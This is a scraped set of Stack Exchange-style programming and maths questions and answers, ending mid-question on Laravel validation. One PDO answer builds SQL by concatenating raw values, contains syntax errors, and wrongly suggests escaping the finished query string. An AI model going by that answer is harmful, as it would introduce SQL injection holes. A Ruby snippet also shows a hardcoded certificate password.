text:
Q: classes and properties I have got a problem and a solution, but I am not really satisfied with it:
My problem:
I have got several classes and several "properties". These properties are not described by a method or a logical value. They are defined by those classes, which own a property (common features).
Now there should be formed groups of classes with the same properties. These groups can be interpreted as sets.
The properties of sub-groups (subsets) do not necessarily have to do with the properties of the parent group (superset).
In addition, the compiler can check for these groups on type-correctness.
Previous solution:
For each group, a (possibly empty) interface is created. All classes with a common property implement this interface. The group and the interface is so for all classes with this property.
If we now pass a parameter to a method that should only take classes with a certain property, then the parameter type is the corresponding interface.
Description of an example:
All classes implement an interface with a method m1.
For each property, an interface is created, which is implemented by all classes that meet the appropriate property. Properties can for example be side effects that occur when running this method.
The interface is therefore a set of classes with a corresponding property. It represents the property so to speak.
Furthermore, there is another method m2, which receives as a parameter an object of a certain group of property. In m2, m1 from the given object is called. Thus we know about the side effects, which occur when running m1, or a property, which is met. It is not possible to pass m2 an object with no corresponding property/side effect, because the compiler checks for type correctness.
Code-Example:
(Side effects are presented through an output)
public class Example {
    public static void m2(Property_12 p_12) {
        p_12.m1();
    }

    public static void main() {
        Class_1 c_1 = new Class_1();
        Class_2 c_2 = new Class_2();
        Class_3 c_3 = new Class_3();

        m2(c_1);
        m2(c_2);
        // m2(c_3); // Is not passed by the compiler (wrong type)
    }
}

interface Combinable {
    public void m1();
}

interface Property_12 extends Combinable {}
interface Property_13 extends Combinable {}
interface Property_23 extends Combinable {}
interface Property_123 extends Combinable {}

class Class_1 implements Property_12, Property_13, Property_123 {
    @Override
    public void m1() {
        System.out.println("Property (1,2)");
        System.out.println("Property (1,3)");
        System.out.println("Property (1,2,3)");
    }
}

class Class_2 implements Combinable, Property_12, Property_23, Property_123 {
    @Override
    public void m1() {
        System.out.println("Property (1,2)");
        System.out.println("Property (2,3)");
        System.out.println("Property (1,2,3)");
    }
}

class Class_3 implements Combinable, Property_13, Property_23, Property_123 {
    @Override
    public void m1() {
        System.out.println("Property (1,3)");
        System.out.println("Property (2,3)");
        System.out.println("Property (1,2,3)");
    }
}

Why I am not satisfied with this solution?
My concern is not to a specific case, but a general problem.
The number of interfaces that you create quickly shoots in the air:

*

*possible combinations = power set of the set of all classes

*|P(C)| = 2^|C|

If the interfaces/groups are set up as in this case, according to a specific system,
there must be a way to solve the whole thing more elegant than to write an interface for each group. The effort to create 2^|C| interfaces is already enormous and it should be possible to reduce it at least.
If you now want to summarize several properties, you are once again facing the same problem. Thus you would have to create any combination of interfaces for an interface:

*

*|P(P(C))| = 2^2^|C|

If you handle the huge amount of writing, you can after all pass objects with multiple properties.
I hope my wording is fairly clear and there will be one or the other interesting proposal.
Thank you for your efforts!

There are always 2^|C| interfaces. Maybe I can use a code-generator to creat these interfaces. What do you think of this idea?

C = The set of all classes that are to be grouped.

It is important that every class has something in common with one, two, ..., and |C|-1 others, so that each possible "combination of classes" (=grouping) exists.
Furthermore, no set may appear twice. It follows that the set of all groupings is the power set. My properties are these groupings.

You can ignore the one-element sets (and the empty set), since it is already the class itself. Thus the formula is actually:
|P(C) \ ({ {x} : x in C } add "empty set")| = |P(C)| - |C| - 1 = 2^|C| - |C| - 1

Example:
|C| = 2   =>   |P(C)| - |C| - 1 = 2^|C| - |C| - 1 = 2^2 - 2 - 1 = 4 - 2 - 1 = 1   (= groupings/interfaces)
Class_1 --|
          |--> P_12
Class_2 --|

Example:
|C| = 3   =>   |P(C)| - |C| - 1 = 2^|C| - |C| - 1 = 2^3 - 3 - 1 = 8 - 3 - 1 = 4   (= groupings/interfaces)
       |-- Class_1 --|
       |             |-- P_12 --|
       |   Class_2 --|          |-- P_123
P_13 --|      |______           |
   |   |             |-- P_23 --|
   |   |-- Class_3 --|          |
   |____________________________|

A concrete example:
          |-- PolarBear --|
          |               |--> White --|
          |   Swan -------|            |--> Animal
Mammal <--|     |_________             |
   |      |               |--> Fly ----|
   |      |-- Bat --------|            |
   |___________________________________|

Code:
public class AnimalsWithProperties {

    // It can be passed only white mammal.
    public static void whiteAnimal(White w) {
        w.shout();
    }

    // All animal can be passed
    public static void animalShout(Animal a) {
        a.shout();
    }

    public static void main(String[] args) {
        PolarBear e = new PolarBear();
        Swan s = new Swan();
        Bat f = new Bat();

        whiteAnimal(e);
        whiteAnimal(s);
        // whiteAnimal(f); // Error
        animalShout(e);
        animalShout(s);
        animalShout(f);
    }

}

interface HasAnimalProperty {
    public void shout();
}

interface White extends Animal {}
interface Fly extends Animal {}
interface Mammal extends Animal {}
interface Animal extends HasAnimalProperty {}

class PolarBear implements White, Mammal {
    @Override
    public void shout() {
        System.out.println("PolarBear: I am a white Mammal.");
    }
}

class Swan implements White, Fly {
    @Override
    public void shout() {
        System.out.println("Swan: I am white and can fly.");
    }
}

class Bat implements Fly, Mammal {
    @Override
    public void shout() {
        System.out.println("Bat: I am a flying mammal.");
    }
}

A: I wouldn't treat properties as generic classes in themselves.  That sounds like adding lots of complexity for an uncertain gain. If you want to pass a specific number of properties you can use a plain method.
object.method(p1,p2,p3,p4,p5);

If you are passing around lots of arguments, you can wrap these up in logical groups of parameters.  However it is up to you to decide what is a logical group.

A: Java doesn't really seem like a good fit for what you're looking for if you want the compiler to verify correctness.
You might be able to achieve a less cumbersome solution with annotations and some reflective inspection, which could be automated albeit with great pain, but that would not meet your goal of having the compiler do the checking.
A possible alternative to automating the reflective checking might be to work a clever solution with method handles, but I can offer no real advice on how to make that work. Perhaps if you annotated an object with a property, and then annotated a function/method as accepting things with that property, you could wire a dispatch system into a method handle framework that would check at runtime. Different sort of pain than reflection, probably lesser, but again, still a runtime check.

A: If you want to treat these properties as interfaces, I would strongly consider looking at finding a way to automatically generate the classes and/or interfaces.
I would personally take a look at Clojure's methods for generating interfaces and classes, which would quite literally allow you to pass a list of strings to generate the interfaces for.  You could then easily package the resulting set of classes into a jar and use it for the rest of your project, which could be written in Java (or Clojure for that manner).  Automatically generating the power set of possibly classes would also be relatively simple.
Another possibility which fits with the above is using a byte code generator to generate the interfaces and classes, though I think it would be simpler to use the above.


text:
Q: Google Analytics tracking single page and anonymize IP I want tracking a single page and anonymize IP. There is only one URL and 5 sections.
I'm not sure, if I can combine the function like this:
ga('set', 'page', '/#first', '/#second', '/#third', 'anonymizeIp', true);

A: I am really not sure what you are asking, but your example code will not work.
The syntax specifies that you can either pass a key/value pair to set or an object with different key/value pairs. So while with the object syntax you could set values for page and anonymizeIp at once:
ga('set' {
   'page':'/my/path',
   'anonymizeIp':true
});

you could not set multiple different page paths at once. I am not sure why you would want to do this in any case.
I think what you might really want (if I'm wrong you have to phrase your question more clearly ) is virtual pageviews - i.e. record a pageview every time somebody uses your in-page navigaton between the segments. Instead of setting the names in advance you would add a click event to each navigation item and pass in a custom page path to a pageview call:
Section3;

(note that Google does not like the hash mark, it's better to use proper paths). Every click on that link would appear on the behavior report as a call to the url "/section3".
You'd need to do a call to "set" for the anonymizeIp feature before any pageviews are tracked.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Converting a Spray Deserializer to an Akka-Http Unarshaller I have the following Deserializer from a Spray project that I'd like to port over to Akka-Http. I'm just starting out with Akka-Http so I'm not to sure how I can port this code:
  class urlParameterEnumDeserializer[T](enum: AppEnum[T]) extends Deserializer[String, T] {
    def apply(s: String) = {
      enum.valueOf(s).toRight(MalformedContent(s"Expected a valid string for ${enum} conversion. Found: ${s}"))
    }
  }

It used to allow me to convert incoming url parameters to my application's Enum types, for instance here's an implicit  function that utilizes the Deserializer:
implicit val contentSourceDeserializer = new urlParameterEnumDeserializer[ContentSource](ContentSource)

How would I accomplish the same thing in Akka-Http?

A: Figured this out. Akka has some pre-canned marrshallers like FromStringUnmarshaller that help out. Here's how I converted my enum Deserializer to an Akka-Http UnMarshaller:
  class urlParameterCrowdscriberEnumDeserializer[T](enum: CrowdscriberEnum[T]) extends FromStringUnmarshaller[T] {
    override def apply(s: String)(implicit ec: ExecutionContext, materializer: Materializer): Future[T] = {
      enum.valueOf(s) match {
        case Some(e) => FastFuture.successful(e)
        case None => FastFuture.failed(new IllegalArgumentException(s"Expected a valid string for ${enum} conversion. Found: ${s}"))
      }
    }
  }


text:
Q: CSS: What this Asterisk (*) does? this line of code is for the navigation bar of Apple.com
#globalheader #globalnav[class*="nosearch"] { width:100%; }

Somebody know what that asterisk after class means there?

A: #globalnav[class*="nosearch"]

means: class contains "nosearch"

#globalnav[class^="nosearch"]

means: class starts with "nosearch"

#globalnav[class$="nosearch"]

means: class ends with "nosearch"

Reference:
http://reference.sitepoint.com/css/css3attributeselectors

A: * is very similar to ~ but ~ matches only with space around it.
E.g.
foo bar

but not
foo-bar

* will match both.


text:
Q: Calculate distance using Android BLE (Bluetooth low energy) I tried to get distance between two mobile devices using BLE, I known that is a common task, and we can using RSSI and txPower to find out the distance.
But I have a problem to get txPower value in android BLE. It's always return 127 (TX_POWER_NOT_PRESENT), although I already add it in AdvertiseData
val data = AdvertiseData.Builder().setIncludeDeviceName(false).setIncludeTxPowerLevel(true)
            .addServiceUuid(pUuid).build()

Below is code block using to get txPower
private fun processScanResult(scanResult: ScanResult?) {

            var txPower: Int? = null

            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                txPower = scanResult?.txPower
                if (txPower == 127) {
                    txPower = null
                }
            }
        }

Does anyone have a suggestion for my issue? Any response would be appreciated.


text:
Q: Comparing Two Arrays within separate 2D arrays I have two separate 2D arrays. Each contains smaller arrays that are pairs of int values. The first 2D array is the input information, the other 2D array contains values that are to be matched or searched against.
For example, I the input array is:
{{0, 1}, {0, 2}, {2, 1}, {1, 0}, {0,1}}

The second, reference array is all possible combinations of values from the first:
{{0, 0}, {0,1}, {0,2}, {1, 0}, {1, 1}, {1, 2}, {2, 0}, {2, 1}, {2, 2}}

I want to take the input and determine if subarray i is equal to any of the reference subarrays. I want the results to be in a one-dimensional array the same size as the reference, with a count for the number of times each subarray was found in the input array. So the resulting array should look like this:
{0, 2, 1, 1, 0, 0, 0, 1, 0}

This is my attempt at the code:
int[] ResultArray = new int[ReferenceArray.Length];

for (int i = 0; i < ReferenceArray.Length; i++)
{
    for (int j = 0; j < InputArray.length; j++)
    {
        if (InputArray[j] == RefereenceArray[i])
            ResultArray[i]++;
    }
}

For some reason, this compiles but nothing is added at all to ResultArray. When I tried to use
Arrays.equal(InputArray[j], ReferenceArray[i])

instead, I get an error in compiling. Any idea what has gone wrong? I had a similar block of code that worked fine, and can't figure out what the problem is here.

A: == (on an Object type) always tests reference identity. You can use Arrays.deepEquals(Object[], Object[]) by changing this
if (InputArray[j] == RefereenceArray[i])

to something like
if (Arrays.deepEquals(InputArray[j], RefereenceArray[i]))


text:
Q: How to add hidden data on Apple Push Notification I'm using this Ruby script to send push notifications:
APNS.host = 'gateway.push.apple.com'
APNS.port = 2195
APNS.pem  = 'CERTIFICATE_PATH
APNS.pass = '56895689aA'
device_token = TOKEN
APNS.send_notification(device_token, :alert => 'Message', :badge => 1, :sound =>     'beep.wav')

And I'm handling it from the device like this (its Phonegap)
onAPNNotification: function (event) {
    var pushNotification = window.plugins.pushNotification;
    if (event.alert) {
        navigator.notification.alert(event.alert);
    }
    if (event.badge) {
        console.log("Set badge on  " + pushNotification);
        pushNotification.setApplicationIconBadgeNumber(this.onGCMRegisterSuccess, event.badge);
    }
    if (event.sound) {
        var snd = new Media(event.sound);
        snd.play();
    }
}

Everything is working fine, I recieve the notifications, but I would like to know if there's anyway to hide data so it won't be displayed when the notification arrives (and shows an alert with some text from the notification).
Any help would be apreciated.

A: The payload in the example uses an aps dictionary to request that the device display an alert message with an Close button on the left and a localized title for the "action" button on the right side of the alert. In this case, "PLAY" is used as a key into the Localizable.strings file for the currently selected language to get the localized equivalent of "Play". The aps dictionary also requests that the application icon be badged with the number 5.
{
"aps" : {
    "alert" : {
        "body" : "Bob wants to play poker",
        "action-loc-key" : "PLAY"
    },
    "badge" : 5,
},
"acme1" : "bar",
"acme2" : [ "bang",  "whiz" ]
}

For more info: Apple Dev


text:
Q: программа не содержит статического метода "main", подходящего для точки входа c# using System;
using System.Threading.Tasks;

namespace HelloApp
{
    class Program
    {
        static async Task Main(string[] args)
        {
            string connectionString = "Server=(localdb)\\mssqllocaldb;Database=master;Trusted_Connection=True;";

            using (SqlConnection connection = new SqlConnection(connectionString))
            {
                await connection.OpenAsync();
                Console.WriteLine("Подключение открыто");
                // Вывод информации о подключении
                Console.WriteLine("Свойства подключения:");
                Console.WriteLine($"\tСтрока подключения: {connection.ConnectionString}");
                Console.WriteLine($"\tБаза данных: {connection.Database}");
                Console.WriteLine($"\tСервер: {connection.DataSource}");
                Console.WriteLine($"\tВерсия сервера: {connection.ServerVersion}");
                Console.WriteLine($"\tСостояние: {connection.State}");
                Console.WriteLine($"\tWorkstationld: {connection.WorkstationId}");
            }
            Console.WriteLine("Подключение закрыто...");
            Console.WriteLine("Программа завершила работу.");
            Console.Read();
        }
    }
}

Пишет ошибку в 1 строке: Программа не содержит статического метода "main", подходящего для точки входа c#
Пишу на .Net core(5.0) пытаюсь выучить базы данных
Весь проект


text:
Q: error al hacer join con tabla Estoy haciendo un join en laravel pero por algun motivo que no logro solucionar el error que me arroja.
tengo la siguiente consulta, donde precisamente hago un join, se da el caso que tengo una vista que traigo desde otra base de datos, esta vista es External.dbo.Proveedores y hago el join con una tabla de laravel, esta tabla es payment_types
$pendientesdepago = PendienteDePagos::query('External.dbo.Proveedores as Proveedores')
                                ->join('payment_types', 'payment_types.docentry', '=', 'Proveedores.DocEntry')
                                ->where('Proveedores.LicTradNum', '<>', '25616000-1')
                                ->where('Proveedores.PaidSum', '=', '.000000')
                                ->select('payment_types.id', 'payment_types.docentry')->get();

esto como resultado me esta arrojando el siguiente error:
SQLSTATE[42S02]: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]El nombre de objeto
 'payment_types' no es válido. (SQL: select [payment_types].[id], [payment_types].[docentry]
from [External].[dbo].[Proveedores] inner join [payment_types] on [payment_types].[docentry] =
 [Proveedores].[DocEntry] where [Proveedores].[LicTradNum] <> 95616000-6 and [Proveedores].[PaidSum] = .000000)

No logro pillar el error, algun tip o algo estoy pasando por alto? Muchas gracias...


text:
Q: Nilradical of a noncommutative Ring I know in a commutative ring, the $\text{Nil}(R)$ is the ideal consisting of the Nilpotent elements of the ring.
$$
\text{Nil}(R) =
\Bigg{\{}  r \in R \mid \forall n \in \mathbb{N} r^n=0  \Bigg{\}}.
$$
And I know it's not true for any ring which is not commutative.
I have proved the statement for the case of commutative rings;
Could any one give a counter example of (" In any Ring the set of all Nil(R) is an ideal")?

A: In the non-commutative ring case the definition of the nilradical being the ideal consisting of nilpotent elements does not work in general.
Take the ring $R=M_2(\mathbb{Z})$. The nilpotent elements do not form an ideal in $R$, since in general the sum of two nilpotent elements is not nilpotent. As an example, take the two nilpotent elements
$$x = \left(\begin{array}{cc}
0 & 1\\
0 & 0
\end{array}\right)\quad\text{and}\quad y = \left(\begin{array}{cc}
0 & 0\\
1 & 0
\end{array}\right).$$ Their sum $x+y$ is not nilpotent.
Reference: Nilradical of a ring

A: Take any field $F$ and consider the full matrix ring $R=M_2(F)$.  It's well known that this ring only has trivial ideals.
Obviously there are elements which are nilpotent, like $\begin{bmatrix}0&1\\0&0\end{bmatrix}$, so if the nilpotent elements formed an ideal, it would have to be all of $R$. But that's absurd since there are non-nilpotent elements (like the identity.)
Dietrich gave an example of the sum of two nilpotents not being nilpotent. Let me also point out that the product of a nilpotent element with another element may not be nilpotent either, so that the set of nilpotents does not absorb like an ideal is required to do.
For example:
$$
\begin{bmatrix}0&1\\0&0\end{bmatrix}\begin{bmatrix}0&1\\1&0\end{bmatrix}=\begin{bmatrix}1&0\\0&0\end{bmatrix}
$$
The first matrix is nilpotent, the second is a unit, and the last one is an idempotent (and not nilpotent.)
This works for any field and any of its full matrix rings.


text:
Q: PDO query with dynamic column names i am upgrading one application from MySql to PDo, now the application is big so i don't want to write query every time, instead i am creating some insert, update, select etc. functions which accept dyanamic table name, with column and its value in array.
can any one sugest me how i can create this .
so far i have done is
$connection = new PDO("mysql:host=$host;dbname=$database;charset=utf8", "$user", "$password");

for select
$field = array("column1","column2");
$sql = "SELECT ".$fields." FROM ".$table." ".$whereSQL." ";

for inser
$col_val = array("column1"=>value, "column2"=>2);
$query = "insert into ".$table." (".$fields.") values (".$values.")";

$query = $connection->prepare($sql);
$query->execute();

i try to do all this but for an example in insert query i want to pass array as
$col_val = array("column1"=>value, "column2"=>2);

some code and function here which make PDO query easy and insert all column and value correctly.
i am also looking same way to perform Update query.
as you can see here tabel, column and value are totally dynamic which will be pass to function.
for this moment i am using all odd query with
$query = $connection->prepare($sql);
$query->execute();

Thank you in advance.

A: This is not a complete solution but that's the idea I think you could use to get closer to fix your issue.

$columns = array('column1', 'column2', 'column3')

$comma_separated = implode(",", $columns);

$columns_values = array(
    'column1' => 'text1',
    'column2' => 'text2',
    'column3' => 'text3',
    )

$values_query = "";
$index = 0

foreach ($columns as $column_name) {

    if ($index == 0){
        $values_query .= "'". $columns_values[$column_name]."'"
    }else{
        $values_query .= ", '". $columns_values[$column_name]
    }

}

$query = "INSERT INTO table (". $comma_separated . ") VALUES (".$values_query.");";

Before executing the query you can use PDO to escape the string ($query) to avoid SQL injection


text:
Q: fgets and in_array not working together correctly I am working on a project where filtered text file data is imported into an SQL database line by line. The importation of the data is functioning correctly, but the filtering feature that is not functioning. In troubleshooting I created the below code to see what is going on.
$excludeLines = array("Doc #:", 'Title:');

$tempFile = "./temp/" . $_FILES["certFile"]["name"];
    if (move_uploaded_file($_FILES["certFile"]["tmp_name"],  $tempFile)) {
        $importData = fopen($tempFile, "r");
        while(($line=fgets($importData))!==false) {
            if(trim($line) != '' && $line != NULL) {
                if(in_array($line, $excludeLines)) {
                    echo 'Included: ';
                } else {
                    echo 'Not included: ';
                }
                echo $line . "<br>";
            }
        }
        fclose($importData);
    }

The result is: Not included: Doc #:
What I want to see: Included: Doc #:
If anyone can point me in the correct direction, it would be greatly appreciated.

A: fgets includes the line endings, so you need to either include them in your lookup array as well...
$excludeLines = array("Doc #:\n", "Title:\n"); // Assuming Unix-like line endings

...or strip them when matching:
in_array(trim($line), $excludeLines)


text:
Q: How to select html option value in php while loop? I have following code in php while loop and here you can see a html select tag.
I want to selected it's option value if $status = 1 or $status == 2. It's mean Active or Blocked
In this loop it's always selected Blocked option which Is $status == 2
But there are only 1 blocked data in my mysql database. What I am doing wrong here ?
PHP While Loop
$data = array();
$x = 1;
while( $row=mysqli_fetch_array($query) ) {  // preparing an array
    $nestedData=array();

    $nestedData[] = $x;
    $nestedData[] = $row["user_id"];
    $nestedData[] = $row["address"];
    $nestedData[] = $row["package_name"];

    $status       = $row['status'];
    if( $status == 1) {
        $statusMsg = "selected = 'selected'";
    } elseif( $status == 2 ){
        $statusMsg = "selected = 'selected'";
    }

    $nestedData[] = "
    <select class='form-control' name='status' id='changeStatus'>
        <option value=''>--Select--</option>
        <option value='1' $statusMsg>Active</option>
        <option value='2' $statusMsg>Blocked</option>
    </select>";

    $client_id = (int) $row['client_id'];
    $nestedData[] = "Edit Delete";

    $data[] = $nestedData;

    $x++;
}

A: $statusMsg will always be output as selected = 'selected' on both tags regardless if the $row[status] is 1 or 2.
You need to add another variable to distinguish between the two tags and clear both variables at the start of the loop.
$status       = $row['status'];
$statusMsg1 = "";
$statusMsg2 = "";

if( $status == 1) {
    $statusMsg1 = "selected = 'selected'";
} elseif( $status == 2 ){
    $statusMsg2 = "selected = 'selected'";
}

$nestedData[] = "
<select class='form-control' name='status'>
    <option value=''>--Select--</option>
    <option value='1' $statusMsg1>Active</option>
    <option value='2' $statusMsg2>Blocked</option>
</select>";


text:
Q: Casbah 3.0.0 API : Where is the MongoDBObject? In the getting started tutorial, we use MongoDBObject.
But I can't find it in the api.
Also, I don't understand how we can run this command : import com.mongodb.casbah.Imports._, can't find it in the API neither...

A: Here's your Imports object: https://github.com/mongodb/casbah/blob/master/casbah-core/src/main/scala/Implicits.scala#L141
MongoDBObject comes from one of Casbah modules, casbah-commons.
Check it out: https://github.com/mongodb/casbah/blob/master/casbah-commons/src/main/scala/MongoDBObject.scala


text:
Q: Add a free product if it is already in WooCommerce cart I use a code that adds a free product to the cart if the total is equal to or greater than 1500. If the total is less than 1500, then the product is removed.
add_action( 'woocommerce_before_calculate_totals', 'add_free_product_to_cart' );
function add_free_product_to_cart( $cart ) {
    if ( is_admin() && ! defined( 'DOING_AJAX' ) )
        return;

    // Settings
    $minimum_amount   = 1500;
    $free_product_id  = 290;

    // Initializing
    $cart_subtotal = 0;
    $cart_items    = $cart->get_cart();

    // Loop through cart items (first loop)
    foreach ( $cart_items as $cart_item_key => $cart_item ){
        // When free productis is cart
        if ( $cart_item['data']->get_id() == $free_product_id ) {
            $free_item_key = $cart_item_key; // Free product found (get its cart item key)

            $cart_item['data']->set_price(0);
        }
        // Get cart subtotal incl. tax and discounts (excluding free product)
        else {
            $cart_subtotal += $cart_item['line_total'] + $cart_item['line_tax'];
        }
    }

    // When cart total is up to the minimum amount, add the free product if not already there
    if ( $cart_subtotal >= $minimum_amount && ! isset($free_item_key) ) {
        $cart_item_key = $cart->add_to_cart( $free_product_id );

        // display notice after removal
        wc_add_notice( __("Thank you! Here's your free product."), 'notice' );
    }
    // if below the minimum, remove the free product
    elseif ( $cart_subtotal < $minimum_amount && isset( $free_item_key ) ) {

        $cart->remove_cart_item( $free_item_key );

        // display notice after removal
        wc_add_notice( sprintf(
           __("Your cart subtotal is less than %s and therefore, the free product was removed."), wc_price($cart_subtotal)
        ), 'notice' );
    }
}

The code works, just one problem. When this product is added to cart by a customer, this product is not added.
How can I make this product be added to cart and if the amount is 1500 or more, then the second free product is added to the first product? As a result, there should be two products with ID 290. The first with a regular price, the second with zero price.
I'll be glad you helped!

A: It may not be the answer you're looking for, BUT...
Would you not prefer having some sort of message clearly indicating to the customer (with more than 1500 in cart) that they are entitled to a free product?
Then you can simply point them to the product page with another message (triggered if cart over 1500) that this product will be free if added to cart.
That way, it fixes your issue and if someone does NOT want the free product, you will not "throw" one away automatically.
It's just my two cents.


text:
Q: C#: Use NUnit to test classes that use Nhibernate I have a project with a lot of classes that use Nhibernate. Now I want to use NUnit to test those classes. Are there specific things I need to consider?

A: You can mock NHibernate. The links below might help you:
Mocking an NHibernate ISession with Moq
NHibernate testing, mocking ISession

A: Are you unit testing class mappings i.e. does the data save okay or logic inside the classes?
Mapping Tests
I suggest that you use Sqlite and in-memory testing for the hibernate mappings - although this is not technically unit testing. I would create a session on each time you run a test so as you are using the nunit framework use the [SetUp] attribute on a method to tell nunit to run the create session code. Make sure the session is closed and disposed of at the end of the test.
http://support.fluentnhibernate.org/discussions/help/87-in-memory-sqlite-database-for-persistencespecification-testing
Unit testing
Unit testing would involve mocking out most of nhibernate so that you were testing the actually classes.
http://ayende.com/Blog/archive/2009/04/18/mocking-nhibernate.aspx

A: You need to create the session in the begging of (or during) the test....
That's it I guess...
Everything else is the same...

A: I would consider using NDBUnit.  It allows you to unit test a database while gauranteeing the state of your database is unaltered by external factors.  You can use this along with NUnit to test the class.


text:
Q: Incremental Upload data from sql server to Amazon Redshift Our Raw Data is in SQL SERVER,Data keep on growing,Growth rate is high,We need to load the data incrementally to Redshift for Analytics.Can you please point out me a good practice to load the data.How feasible with SSIS to load directly to Redshift (with out S3).

A: It's going to be impractical to load from SQL Server to Redshift without landing the data on S3. You can try loading via SSH but, of course, SSH on Windows is not well supported.
http://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-remote-hosts.html
I did a presentation a while back on what we discovered when migrating from SQL Server to Redshift. One of the things we discovered was that SSIS was not very useful for interacting with AWS services.
http://blog.joeharris76.com/2013/09/migrating-from-sql-server-to-redshift.html
Finally, you could look into some of the commercial "replication" tools that automate the process of incrementally updating Redshift from an on-premise database. I hear good things about Attunity.
http://www.attunity.com/products/attunity-cloudbeam/amazon-redshift


text:
Q: Automatically fill all available space in a CSS grid row I have a dynamically generated CSS Grid layout with grid-row values which are set using a script. It looks something like this:

╭───────────────╮
│ grid-row: 1/2 │
│               │
╰───────────────╯
╭───────────────╮
│ grid-row: 2/4 │
│               │
│               │
│               │
╰───────────────╯
╭───────────────╮
│ grid-row: 4/5 │
│               │
╰───────────────╯

╭───────────────╮
│ grid-row: 6/7 │
│               │
╰───────────────╯

When two elements have the same grid-row value, they are automatically displayed on the same row, like so:

╭──────╮
│ :1/2 │
│      │
╰──────╯

╭──────╮ ╭──────╮
│ :3/4 │ │ :3/4 │
│      │ │      │
╰──────╯ ╰──────╯
╭──────╮
│ :4/6 │
│      │
│      │
│      │
╰──────╯

How can I get the elements to automatically fill all available horizontal space, like below?

╭───────────────╮
│ grid-row: 1/2 │
│               │
╰───────────────╯

╭──────╮ ╭──────╮
│ :3/4 │ │ :3/4 │
│      │ │      │
╰──────╯ ╰──────╯
╭───────────────╮
│ grid-row: 4/6 │
│               │
│               │
│               │
╰───────────────╯


text:
Q: Where can I find a good reference for the ELF file format? I'm in the process of writing a compiler that will be generating ELF executable files for the i386 platform.
However, I need a good reference for the file format (information on headers, relocations, etc.).
Is there such a reference?

A: The wikipedia  article gives a decent list of ABI documents to choose from. Consider the very System V ABI and the Intel 386 psABI.


text:
Q: Smarty кэширование динамического элемента Шаблонизатор Smarty. Есть шаблон, одинаковый для определенного раздела страниц, за исключением динамической части, данные которой получаются из бд.
Если его включить в кеш, то данные из бд не будут меняться при переходе на следующий материал такого же раздела (шаблона). Если исключить динамическую часть с помощью тегов {nocache}, то запросы к бд для получения динамической части будут выполняться при каждом входе на один и тот же материал.
Вопрос: как включить кеширование статической части шаблона, а вызов динамической выполнять только один раз, а затем кешировать её.
p.s Использование cache_id не подходит (так как кеширует каждый раз заново статические элементы шаблона, теряется сам смысл кеша для страниц, которые посещаются 1 раз)

A: Мое решение:
Оставляем в оригинальном шаблоне только статическую часть. Динамическую размещаем в отдельном шаблоне. Делаем include с присвоенным cache_id.
Итог: Статическая часть подгружается только один раз. Динамическая часть тоже только один раз. Все последующие разы берется начальный статический шаблон и динамическая часть по id, если ее нет, то она создается.
В бекенде задать проверку is_cached перед выполнением запроса к бд.


text:
Q: Automatically select GCE instance zone in Cloud Dataflow? Is there a way to have the Dataflow service automatically select a GCE zone for a Dataflow job?
Our use case for Dataflow involves running many jobs concurrently. We have a quota of GCE instances in each of the 6 GCP zones and would like to fully utilize those quotas by distributing our jobs amongst them. This load balancing could be performed on our end, but the Dataflow service is in a better position to select a zone given that they have access to information on the entire state of the cloud center in the zone.

A: This is not currently possible in Dataflow, though it is something that the team would like to pursue in the future.


text:
Q: swift 3 - como fechar um ultimo popover aberto sobre outro popover ? Tenho uma viewcontroller que abre um popover. Este primeiro abre um segundo popover. Porém quando dou um self.dismiss em qualquer um dos popovers está fechando todos os popovers e a viewcontroller que o chamou.
Utilizo os seguintes comandos para chamar cada popover:
performSegue(withIdentifier: "callDriverPopupSegue", sender: self)

override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
   if segue.identifier == "callDriverPopSegue" {
    let popOver = segue.destination as! CallDriverPopup
    popOver.modalPresentationStyle = .popover
    popOver.popoverPresentationController!.delegate = self
   }
}

Para fechar uso:
dismiss(animated: true, completion: nil)

A: Eu tenho a resposta para seu problema abaixo, o cenário é diferente mas a solução é  mesma. Você tem que escrever o codigo para fechar o popover no view controller atual. Escreve o seu código nos seu dismissVIew metodo do seu controler.

*

*var tmpController :UIViewController! = self.presentingViewController;
self.dismissViewControllerAnimated(false, completion: {()->Void in
    println("done");
    tmpController.dismissViewControllerAnimated(false, completion: nil);
});*

Exemplo aqui

A: Achei uma solução. Com as duas instruções abaixo eu consegui fechar o popover aberto.
    navigationController?.popViewController(animated: true)
    self.dismiss(animated: true, completion: nil)


text:
Q: How to quote arrays in postgres copy statement to insert into JSON field I have some data that looks like this:
id,bo,c,url
1,"some text here", 22, "[{'id': 'NfKA3', 'u': 'https://somewebsite.com'}]"
2, "more text", 83, "[{'id': 'W3nAl', 'u': 'https://anotherwebsite.com'}]"
3, "even more text", 14, "[{'id': 'CyrMj', 'u': 'https://yetanotherwebsite.com'}]"

I'm trying to insert this data into a table that looks like this:
CREATE TABLE myTable(
id integer,
body varchar,
count, varchar,
url JSON
);

Using this command:
\copy mytable FROM 'myData.csv' WITH DELIMITER ',' csv header;

However, I'm having trouble with the single quotes in the url field of the csv. I'm getting errors like this:
ERROR:  invalid input syntax for type json
DETAIL:  Token "'" is invalid.
CONTEXT:  JSON data, line 1: [{'...

Can someone show me the correct way to structure my \COPY command so as to be able to load the url field in the csv as a JSON?
If necessary I can do some pre-processing of the file at the command line.

A: JSON uses double quote " to delimite keys and strings:
[{"id": "NfKA3", "u": "https://somewebsite.com"}]

CSV uses double quote to escape double quotes "" means "
1,"some text here", 22, "[{""id"": ""NfKA3"", ""u"": ""https://somewebsite.com""}]"

Look at: https://stackoverflow.com/questions/17808511/properly-escape-a-double-quote-in-csv

A: Use a database script instead of a csv:
with v (id,bo,c,url) as
(values
( 1,'some text here', 22, cast('[{ "id": "NfKA3", "u": "https://somewebsite.com"}]' as json)),
( 2,'some text here', 83, cast('[{ "id": "W3nAl", "u": "https://somewebsite.com"}]' as json))
)
insert into myTable select * from v;


text:
Q: Seeking to understand how this error "Illuminate\Http\Exceptions\PostTooLargeException" comes about I've got the following code and it's working just well as expected when uploading images but I noticed when I try to upload a video I get the error Illuminate\Http\Exceptions\PostTooLargeException. I was expecting to get an error on browser "The make field should be an image" just as the other validations are working. Could someone kindly explain what's happening here, shouldn't validation stop immediately the uploaded file is found to be not an image? Is the validation checking for size first and yet that's not what I've provided in validation?
public function store(Request $request)
    {
        $this->validate($request, [
            'condition' => 'required',
            'make' => 'required | alpha',
            'model' => 'required | alpha_dash',
            'filenames' => 'required | image',
